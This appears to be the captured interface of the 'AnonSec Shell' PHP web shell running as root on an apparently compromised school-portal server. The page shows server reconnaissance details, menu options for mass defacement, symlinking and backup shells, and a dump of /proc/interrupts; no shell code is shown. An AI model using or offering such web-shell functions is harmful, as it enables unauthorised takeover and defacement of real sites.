AnonSec Shell
Server IP :  /  Your IP : 10.244.4.16   [ Reverse IP ]
Web Server : nginx/1.25.3
System : Linux escuela-portal-app-54f56585bc-kst6g 5.15.0-1084-azure #93-Ubuntu SMP Sat Mar 15 14:12:29 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.2.13
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : //proc/interrupts
           CPU0       CPU1       CPU2       CPU3       
  4:          0          0       1650          0   IO-APIC   4-edge      ttyS0
  8:          0          0          0          0   IO-APIC   8-edge      rtc0
  9:          0          0          0          0   IO-APIC   9-fasteoi   acpi
 24:    1169178    1865235    2578282    3457728  Hyper-V PCIe MSI 7273795584000-edge      mlx5_async0@pci:d3b2:00:02.0
 25:   34641290     347836     172829      19365  Hyper-V PCIe MSI 7273795584001-edge      mlx5_comp0@pci:d3b2:00:02.0
 26:     274860   35996982     128298      11767  Hyper-V PCIe MSI 7273795584002-edge      mlx5_comp1@pci:d3b2:00:02.0
 27:     207513      98873   40597521      28353  Hyper-V PCIe MSI 7273795584003-edge      mlx5_comp2@pci:d3b2:00:02.0
 28:          0          0          0   49013879  Hyper-V PCIe MSI 7273795584004-edge      mlx5_comp3@pci:d3b2:00:02.0
NMI:          0          0          0          0   Non-maskable interrupts
LOC:          0          0          0          0   Local timer interrupts
SPU:          0          0          0          0   Spurious interrupts
PMI:          0          0          0          0   Performance monitoring interrupts
IWI:   40853801   41177260   40825674   41103376   IRQ work interrupts
RTR:          0          0          0          0   APIC ICR read retries
RES:  269159528  260299138  270367382  261674133   Rescheduling interrupts
CAL: 2470576779 2314986710 2444149295 2272931906   Function call interrupts
TLB:          0          0          0          0   TLB shootdowns
TRM:          0          0          0          0   Thermal event interrupts
THR:          0          0          0          0   Threshold APIC interrupts
DFR:          0          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0          0   Machine check exceptions
MCP:      53697      53697      53697      53697   Machine check polls
HYP:   75761458  181758672        367        504   Hypervisor callback interrupts
HRE:          0          0          1          0   Hyper-V reenlightenment interrupts
HVS: 3174356029 2756767669 3201524363 2693135576   Hyper-V stimer0 interrupts
ERR:          0
MIS:          0
PIN:          0          0          0          0   Posted-interrupt notification event
NPI:          0          0          0          0   Nested posted-interrupt event
PIW:          0          0          0          0   Posted-interrupt wakeup event

Anon7 - 2022
AnonSec Team